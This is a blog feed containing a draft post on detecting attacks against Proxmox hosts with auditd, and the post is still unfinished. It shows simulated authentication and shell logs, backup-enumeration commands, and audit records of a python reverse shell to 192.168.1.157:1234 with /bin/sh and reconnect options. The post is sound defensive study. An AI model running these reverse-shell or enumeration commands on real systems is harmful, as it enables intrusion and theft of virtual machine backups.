<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-06-18T12:30:15+00:00</updated><id>/feed.xml</id><title type="html">goblinloot</title><subtitle>thinking about thinking about thinking and now im obsessed</subtitle><entry><title type="html">Proxmox | Catching fish in a muddy pond</title><link href="/test/2026/06/13/proxmox_death.html" rel="alternate" type="text/html" title="Proxmox | Catching fish in a muddy pond" /><published>2026-06-13T11:26:20+00:00</published><updated>2026-06-13T11:26:20+00:00</updated><id>/test/2026/06/13/proxmox_death</id><content type="html" xml:base="/test/2026/06/13/proxmox_death.html"><![CDATA[<h3 id="starting-draft-in-progress">Starting.. (DRAFT IN PROGRESS)</h3>

<p>This post is joined with an overview kept here: <a href="https://www.goblinloot.net/2026/06/adversaries-in-proxmox-goblin-diary-3.html">Adversaries in proxmox</a></p>

<p>Proxmox does not afford its users native controls for monitoring process executions nor file writes unlike VMWare ESXI and as such auditd or other similar technologies must be deployed. Using auditd we can easily capture a snapshot of the above described behaviour and develop a series of detection ideas that compliment each other.</p>

<p>I have utilised a parser to better prepare the logs for validation and in this parser ‘PROCTILE’ events are decode from hexadecimal to full strings. You must also do this using your own tools if you wish to process the events in the same capacity as I have in this blog.</p>

<h2 id="initial-access-and-local-system-discovery"><strong>Initial Access and Local System Discovery</strong></h2>

<p>Proxmox appliances can utilise the same user management provider for both terminal access and the virtual environment graphical interface. In this example the adversary has gained access to a Proxmox appliance through a remote SSH session but has chosen to pivot to the graphical interface with the knowledge that interactions are harder to trace and therefore less likely to be logged.</p>

<p>To maximise our coverage of this horizontal movement we can utilise the proxmox daemon logs. These logs store API requests the daemon processes and sends to pve to execute.</p>

<h3 id="gui-authentication-logs">GUI Authentication Logs:</h3>

<p><strong>failed login attempts</strong></p>

<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="p">::</span><span class="nx">ffff</span><span class="p">:</span><span class="mf">192.168</span><span class="p">.</span><span class="mf">1.173</span> <span class="o">-</span> <span class="o">-</span> <span class="p">[</span><span class="mi">18</span><span class="o">/</span><span class="mi">06</span><span class="o">/</span><span class="mi">2026</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="mi">36</span><span class="p">:</span><span class="mi">23</span> <span class="o">+</span><span class="mi">0100</span><span class="p">]</span> <span class="dl">"</span><span class="s2">POST /api2/extjs/access/ticket HTTP/1.1</span><span class="dl">"</span> <span class="mi">200</span> <span class="mi">77</span></code></pre></figure>

<p><strong>successful login attempts -</strong> generate a unique pattern of logs depending on the authentication realm used by Proxmox. If Proxmox utilises local authentication it registers the following:</p>

<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="p">::</span><span class="nx">ffff</span><span class="p">:</span><span class="mf">192.168</span><span class="p">.</span><span class="mf">1.173</span> <span class="o">-</span> <span class="nx">root</span><span class="p">@</span><span class="nd">pam</span> <span class="p">[</span><span class="mi">18</span><span class="o">/</span><span class="mi">06</span><span class="o">/</span><span class="mi">2026</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">16</span> <span class="o">+</span><span class="mi">0100</span><span class="p">]</span> <span class="dl">"</span><span class="s2">GET /api2/extjs/cluster/options?_dc=1781771836136 HTTP/1.1</span><span class="dl">"</span> <span class="mi">200</span> <span class="mi">100</span>

<span class="p">::</span><span class="nx">ffff</span><span class="p">:</span><span class="mf">192.168</span><span class="p">.</span><span class="mf">1.173</span> <span class="o">-</span> <span class="nx">root</span><span class="p">@</span><span class="nd">pam</span> <span class="p">[</span><span class="mi">18</span><span class="o">/</span><span class="mi">06</span><span class="o">/</span><span class="mi">2026</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">16</span> <span class="o">+</span><span class="mi">0100</span><span class="p">]</span> <span class="dl">"</span><span class="s2">GET /api2/extjs/cluster/sdn?_dc=1781771836136 HTTP/1.1</span><span class="dl">"</span> <span class="mi">200</span> <span class="mi">118</span>

<span class="p">::</span><span class="nx">ffff</span><span class="p">:</span><span class="mf">192.168</span><span class="p">.</span><span class="mf">1.173</span> <span class="o">-</span> <span class="nx">root</span><span class="p">@</span><span class="nd">pam</span> <span class="p">[</span><span class="mi">18</span><span class="o">/</span><span class="mi">06</span><span class="o">/</span><span class="mi">2026</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">16</span> <span class="o">+</span><span class="mi">0100</span><span class="p">]</span> <span class="dl">"</span><span class="s2">GET /api2/extjs/nodes/localhost/subscription?_dc=1781771836137 HTTP/1.1</span><span class="dl">"</span> <span class="mi">200</span> <span class="mi">200</span>

<span class="p">::</span><span class="nx">ffff</span><span class="p">:</span><span class="mf">192.168</span><span class="p">.</span><span class="mf">1.173</span> <span class="o">-</span> <span class="nx">root</span><span class="p">@</span><span class="nd">pam</span> <span class="p">[</span><span class="mi">18</span><span class="o">/</span><span class="mi">06</span><span class="o">/</span><span class="mi">2026</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">16</span> <span class="o">+</span><span class="mi">0100</span><span class="p">]</span> <span class="dl">"</span><span class="s2">GET /api2/extjs/version?_dc=1781771836136 HTTP/1.1</span><span class="dl">"</span> <span class="mi">200</span> <span class="mi">84</span></code></pre></figure>

<p><strong>logout events</strong></p>

<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="p">::</span><span class="nx">ffff</span><span class="p">:</span><span class="mf">192.168</span><span class="p">.</span><span class="mf">1.173</span> <span class="o">-</span> <span class="o">-</span> <span class="p">[</span><span class="mi">18</span><span class="o">/</span><span class="mi">06</span><span class="o">/</span><span class="mi">2026</span><span class="p">:</span><span class="mi">09</span><span class="p">:</span><span class="mi">33</span><span class="p">:</span><span class="mi">29</span> <span class="o">+</span><span class="mi">0100</span><span class="p">]</span> <span class="dl">"</span><span class="s2">GET /api2/json/access/domains HTTP/1.1</span><span class="dl">"</span> <span class="mi">200</span> <span class="mi">159</span></code></pre></figure>

<p><strong>View the full log here:</strong>
<a href="\assets\proxmox_death\sim_proxmox_guiauth_rawlog.json">sim_proxmox_guiauth_rawlog.json</a></p>

<h4 id="detection-analytics">Detection Analytics</h4>

<p>INSERT</p>

<p>Once an adversary has GUI access to a Proxmox environment their actions are only traceable through these API audit logs. Additionally the Proxmox interface also offers several options for a new shell to be spawned. Creating a shell is logged in the aforementioned API audit logs however it is not afforded any terminal logging forcing us to utilise auditd to trace any activity.</p>

<h3 id="gui-shell-logs">GUI Shell Logs:</h3>

<p>Journalctl provides an auditable trace of which shells were spawned by the GUI under the pvedaemon.service unit.</p>

<p><strong>VNC shell</strong></p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">root</span><span class="err">@</span><span class="na">pam</span><span class="p">&gt;</span> starting task UPID:pve:00001508:00026749:6A33B297:vncshell::root@pam:

starting vnc proxy UPID:pve:00001508:00026749:6A33B297:vncshell::root@pam:

launch command: /usr/bin/vncterm -rfbport 5900 -timeout 10 -authpath /nodes/pve -perm Sys.Console -notls -listen localhost -c /bin/login -f root

launch command: /usr/bin/vncterm -rfbport 5900 -timeout 10 -authpath /nodes/pve -perm Sys.Console -notls -listen localhost -c /bin/login -f root
</code></pre></div></div>

<p><strong>Spice Shell</strong></p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">root</span><span class="err">@</span><span class="na">pam</span><span class="p">&gt;</span> starting task UPID:pve:000017F7:0002C7B3:6A33B38E:spiceshell::root@pam:

starting spiceterm UPID:pve:000017F7:0002C7B3:6A33B38E:spiceshell::root@pam: - Shell on 'pve'

launch command: /usr/bin/spiceterm --port 61000 --addr localhost --timeout 40 --authpath /nodes/pve --permissions Sys.Console --keymap en-gb -- /bin/login -f root

</code></pre></div></div>

<p><strong>xterm.js (default shell option)</strong></p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">root</span><span class="err">@</span><span class="na">pam</span><span class="p">&gt;</span> starting task UPID:pve:00001A2C:0003190A:6A33B45E:vncshell::root@pam:

starting termproxy UPID:pve:00001A2C:0003190A:6A33B45E:vncshell::root@pam:

</code></pre></div></div>

<p><strong>View the full log here:</strong>
<a href="\assets\proxmox_death\sim_proxmox_guishell_rawlog.json">sim_proxmox_guishell_rawlog.json</a></p>

<h4 id="detection-analytics-1">Detection Analytics</h4>

<p>INSERT</p>

<p>In our example once an adversary has spawned a new shell via the GUI they begin executing shell commands to explore the pve nodes file system with the aim to identify where Guest VM backups are stored.</p>

<p>Guest VM components exist logically in a few key areas of each PVE node. Primarily the Guest VM sits as a logical volume on the selected disk. This is represented under /dev/pts/ and /dev/pve/. Additionally backups created for each Guest VM and any miscellaneous backup logs are stored in the directory ‘/var/lib/vz/dump/’.</p>

<p>Adversaries can easily enumerate these storage locations using the following command</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">find</span> <span class="o">/</span><span class="kd">var</span><span class="sr">/lib/</span><span class="nx">vz</span><span class="o">/</span><span class="nx">dump</span><span class="o">/</span> <span class="o">-</span><span class="nx">type</span> <span class="nx">f</span> <span class="o">-</span><span class="nx">name</span> <span class="dl">"</span><span class="s2">*zst*</span><span class="dl">"</span>
</code></pre></div></div>

<p>Find: A LOLBIN kept on all debian hosts.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:09:24.486</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">EXECVE</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">argc=6 a0=</span><span class="se">\"</span><span class="s2">find</span><span class="se">\"</span><span class="s2"> a1=</span><span class="se">\"</span><span class="s2">/var/lib/vz/dump/</span><span class="se">\"</span><span class="s2"> a2=</span><span class="se">\"</span><span class="s2">-type</span><span class="se">\"</span><span class="s2"> a3=</span><span class="se">\"</span><span class="s2">f</span><span class="se">\"</span><span class="s2"> a4=</span><span class="se">\"</span><span class="s2">-name</span><span class="se">\"</span><span class="s2"> a5=</span><span class="se">\"</span><span class="s2">*zst*</span><span class="se">\"</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:09:24.486</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PATH</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">item=0 name=</span><span class="se">\"</span><span class="s2">/usr/bin/find</span><span class="se">\"</span><span class="s2"> inode=260723 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:09:24.486</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PATH</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">item=1 name=</span><span class="se">\"</span><span class="s2">/lib64/ld-linux-x86-64.so.2</span><span class="se">\"</span><span class="s2"> inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:09:24.486</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PROCTITLE</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">find</span><span class="se">\</span><span class="s2">u0000/var/lib/vz/dump/</span><span class="se">\</span><span class="s2">u0000-type</span><span class="se">\</span><span class="s2">u0000f</span><span class="se">\</span><span class="s2">u0000-name</span><span class="se">\</span><span class="s2">u0000*zst*</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:09:24.486</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">SYSCALL</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">arch=c000003e syscall=59 success=yes exit=0 a0=5edc57afb490 a1=5edc57f51760 a2=5edc57f2bcc0 a3=8 items=2 ppid=7764 pid=7882 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=5 comm=</span><span class="se">\"</span><span class="s2">find</span><span class="se">\"</span><span class="s2"> exe=</span><span class="se">\"</span><span class="s2">/usr/bin/find</span><span class="se">\"</span><span class="s2"> subj=unconfined key=</span><span class="se">\"</span><span class="s2">exec</span><span class="se">\"</span><span class="dl">"</span>
  <span class="p">}</span>
<span class="p">]</span>
</code></pre></div></div>

<p><strong>View the full log here:</strong>
<a href="\assets\proxmox_death\sim_proxmox_backupenum_rawlogs.json">sim_proxmox_backupenum_rawlogs.json</a></p>

<p>lvdisplay: LOLbin that displays volume information</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:23:18.143</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">EXECVE</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">argc=1 a0=</span><span class="se">\"</span><span class="s2">lvdisplay</span><span class="se">\"</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:23:18.143</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PATH</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">item=0 name=</span><span class="se">\"</span><span class="s2">/usr/sbin/lvdisplay</span><span class="se">\"</span><span class="s2"> inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:23:18.143</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PATH</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">item=1 name=</span><span class="se">\"</span><span class="s2">/lib64/ld-linux-x86-64.so.2</span><span class="se">\"</span><span class="s2"> inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:23:18.143</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PROCTITLE</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">lvdisplay</span><span class="dl">"</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-06-18 09:23:18.143</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">SYSCALL</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">arch=c000003e syscall=59 success=yes exit=0 a0=5edc57adb980 a1=5edc57f504c0 a2=5edc57f2bcc0 a3=8 items=2 ppid=7764 pid=10088 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=5 comm=</span><span class="se">\"</span><span class="s2">lvdisplay</span><span class="se">\"</span><span class="s2"> exe=</span><span class="se">\"</span><span class="s2">/usr/sbin/lvm</span><span class="se">\"</span><span class="s2"> subj=unconfined key=</span><span class="se">\"</span><span class="s2">exec</span><span class="se">\"</span><span class="dl">"</span>
  <span class="p">}</span>
<span class="p">]</span>
</code></pre></div></div>

<p><strong>View the full log here:</strong>
<a href="\assets\proxmox_death\sim_proxmox_lvdisplay_rawlogs.json">sim_proxmox_lvdisplay_rawlog.json</a></p>

<h4 id="detection-analytics-2">Detection Analytics</h4>

<p>INSERT</p>

<h2 id="resilient-persistence">Resilient Persistence</h2>

<p>Once initial access was acquired a reverse shell was established to provide connectivity to attacker controlled infrastructure. Immediately upon connection the file ‘tmplqlhyo0z’ was written to ‘/tmp/’ and regularly invoked through the python script interpreter. This served as a more robust persistence mechanism that would survive shell sessions being forcefully closed.</p>

<p>To begin we first establish events that are applicable.</p>

<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="c1">// all audit events</span>
<span class="err">#</span><span class="nx">type</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">linux-audit</span><span class="dl">"</span>
<span class="o">|</span> <span class="dl">"</span><span class="s2">Vendor.audit_counter</span><span class="dl">"</span> <span class="o">=</span> <span class="mi">2008</span>
<span class="o">|</span> <span class="k">case</span> <span class="p">{</span>
  <span class="nx">Vendor</span><span class="p">.</span><span class="nx">audit_type</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">PROCTITLE</span><span class="dl">"</span>
  <span class="o">|</span> <span class="nx">Vendor</span><span class="p">.</span><span class="na">audit_content</span> <span class="p">:</span><span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">command_line</span><span class="p">;</span>

  <span class="o">*</span>
  
<span class="p">}</span>
<span class="o">|</span> <span class="nx">groupBy</span><span class="p">(</span><span class="nx">Vendor</span><span class="p">.</span><span class="nx">audit_type</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Vendor.audit_content</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="o">=</span><span class="nx">min</span><span class="p">(</span><span class="dl">"</span><span class="s2">@timestamp</span><span class="dl">"</span><span class="p">,</span> <span class="k">as</span><span class="o">=</span><span class="dl">"</span><span class="s2">first_event</span><span class="dl">"</span><span class="p">))</span></code></pre></figure>

<p>This analytic sets an anchor on the audit_counter field. This field is unique for each process execution event but not globally unique within the full context of a systems events.</p>

<p>Result events are -</p>

<figure class="highlight"><pre><code class="language-json-doc" data-lang="json-doc"><span class="p">[</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781007172596"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"EXECVE"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"argc=9 a0=</span><span class="se">\"</span><span class="s2">/usr/bin/python3</span><span class="se">\"</span><span class="s2"> a1=</span><span class="se">\"</span><span class="s2">/tmp/tmplqlhyo0z</span><span class="se">\"</span><span class="s2"> a2=</span><span class="se">\"</span><span class="s2">192.168.1.157</span><span class="se">\"</span><span class="s2"> a3=</span><span class="se">\"</span><span class="s2">1234</span><span class="se">\"</span><span class="s2"> a4=</span><span class="se">\"</span><span class="s2">--exec</span><span class="se">\"</span><span class="s2"> a5=</span><span class="se">\"</span><span class="s2">/bin/sh</span><span class="se">\"</span><span class="s2"> a6=</span><span class="se">\"</span><span class="s2">--reconn</span><span class="se">\"</span><span class="s2"> a7=</span><span class="se">\"</span><span class="s2">--reconn-wait</span><span class="se">\"</span><span class="s2"> a8=</span><span class="se">\"</span><span class="s2">1</span><span class="se">\"</span><span class="s2">"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781007172596"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PATH"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"item=0 name=</span><span class="se">\"</span><span class="s2">/usr/bin/python3</span><span class="se">\"</span><span class="s2"> inode=260881 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781005807135"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PATH"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"item=0 name=</span><span class="se">\"</span><span class="s2">/usr/local/sbin/nft</span><span class="se">\"</span><span class="s2"> nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781007172596"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PATH"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"item=1 name=</span><span class="se">\"</span><span class="s2">/lib64/ld-linux-x86-64.so.2</span><span class="se">\"</span><span class="s2"> inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781005807135"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PROCTITLE"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/usr/libexec/proxmox/proxmox-firewall</span><span class="se">\u</span><span class="s2">0000start"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781007172596"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"PROCTITLE"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"nohup</span><span class="se">\u</span><span class="s2">0000/usr/bin/python3</span><span class="se">\u</span><span class="s2">0000/tmp/tmplqlhyo0z</span><span class="se">\u</span><span class="s2">0000192.168.1.157</span><span class="se">\u</span><span class="s2">00001234</span><span class="se">\u</span><span class="s2">0000--exec</span><span class="se">\u</span><span class="s2">0000/bin/sh</span><span class="se">\u</span><span class="s2">0000--reconn</span><span class="se">\u</span><span class="s2">0000--reconn-wait</span><span class="se">\u</span><span class="s2">00001"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781005807135"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SYSCALL"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arch=c000003e syscall=59 success=no exit=-2 a0=7d9a03ad3da0 a1=6171138693b0 a2=7ffd28771fb0 a3=8 items=1 ppid=985 pid=2363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=</span><span class="se">\"</span><span class="s2">proxmox-firewal</span><span class="se">\"</span><span class="s2"> exe=</span><span class="se">\"</span><span class="s2">/usr/libexec/proxmox/proxmox-firewall</span><span class="se">\"</span><span class="s2"> subj=unconfined key=</span><span class="se">\"</span><span class="s2">exec</span><span class="se">\"</span><span class="s2">"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"first_event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1781007172596"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SYSCALL"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"Vendor.audit_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arch=c000003e syscall=59 success=yes exit=0 a0=7ffff7fbcd8b a1=7ffff7fbb770 a2=7ffff7fbb7c0 a3=8 items=2 ppid=2546 pid=2579 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=</span><span class="se">\"</span><span class="s2">python3</span><span class="se">\"</span><span class="s2"> exe=</span><span class="se">\"</span><span class="s2">/usr/bin/python3.13</span><span class="se">\"</span><span class="s2"> subj=unconfined key=</span><span class="se">\"</span><span class="s2">exec</span><span class="se">\"</span><span class="s2">"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">]</span></code></pre></figure>]]></content><author><name></name></author><category term="Test" /><summary type="html"><![CDATA[Starting.. (DRAFT IN PROGRESS)]]></summary></entry></feed>